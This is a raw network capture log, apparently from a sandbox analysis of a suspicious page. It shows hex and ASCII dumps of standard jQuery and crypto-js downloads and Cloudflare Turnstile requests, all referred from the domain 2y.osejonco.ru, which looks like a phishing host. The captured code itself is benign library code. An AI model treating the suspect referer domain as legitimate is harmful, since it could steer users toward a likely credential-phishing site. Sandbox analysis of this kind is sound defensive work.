2025-03-16 23:37:33 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-16 23:37:33 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-16 23:37:33 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-16 23:37:33 UTC	15948	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-16 23:37:33 UTC	16384	IN	Data Raw: 7d 29 7d 2c 74 74 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 2c 6e 74 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 65 6c 65 63 74 22 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6f 70 74 69 6f 6e 22 29 29 2c 74 74 2e 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 2c 79 2e 63 68 65 63 6b 4f 6e 3d 22 22 21 3d 3d 74 74 2e 76 61 6c 75 65 2c 79 2e 6f 70 74 53 65 6c 65 63 74 65 64 3d 6e 74 2e 73 65 6c 65 63 74 65 64 2c 28 74 74 3d 45 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 76 61 6c 75 65 3d 22 74 22 2c 74 74 2e 74 79 70 65 3d 22 72 61 64 69 6f 22 2c 79 2e 72 61 64 69 6f 56 61 6c 75 65 3d 22 74 22 3d 3d 3d 74 74 2e 76 61 6c 75 65 3b 76 61 Data Ascii: })},tt=E.createElement("input"),nt=E.createElement("select").appendChild(E.createElement("option")),tt.type="checkbox",y.checkOn=""!==tt.value,y.optSelected=nt.selected,(tt=E.createElement("input")).value="t",tt.type="radio",y.radioValue="t"===tt.value;va
2025-03-16 23:37:33 UTC	8017	IN	Data Raw: 64 65 73 29 7d 29 2c 74 68 69 73 7d 7d 29 2c 53 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2e 68 69 64 64 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 53 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2e 76 69 73 69 62 6c 65 28 65 29 7d 2c 53 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2e 76 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 28 65 2e 6f 66 66 73 65 74 57 69 64 74 68 7c 7c 65 2e 6f 66 66 73 65 74 48 65 69 67 68 74 7c 7c 65 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 7d 2c 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 43 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 65 Data Ascii: des)}),this}}),S.expr.pseudos.hidden=function(e){return!S.expr.pseudos.visible(e)},S.expr.pseudos.visible=function(e){return!!(e.offsetWidth\|\|e.offsetHeight\|\|e.getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:32 UTC	689	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://2y.osejonco.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-16 23:37:33 UTC	957	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:33 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1751633 Expires: Fri, 06 Mar 2026 23:37:33 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q3dqlrUjZ1wrwEaXWAvXkIjAeioyXWumdVzSLhQug2NSasCcw3HoLJPekXC3XHT3U9zNNswJwnWAjNoakXlWY9DGbYInX0ufMLUZkMluoW%2BBPfh30i%2FTw2uXUZH2ebIEpgLNuCmo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9218143d9a306a50-EWR alt-svc: h3=":443"; ma=86400
2025-03-16 23:37:33 UTC	412	IN	Data Raw: 33 39 37 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 3977!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.creat
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 Data Ascii: ll(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)t
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 Data Ascii: of t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f Data Ascii: r t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e Data Ascii: r(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e Data Ascii: t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fun
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 Data Ascii: rAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQR
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e Data Ascii: sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this.
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 Data Ascii: m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[5

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:32 UTC	702	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://2y.osejonco.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-16 23:37:33 UTC	386	IN	HTTP/1.1 302 Found Date: Sun, 16 Mar 2025 23:37:33 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 9218143d9f5a42ad-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:33 UTC	686	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://2y.osejonco.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
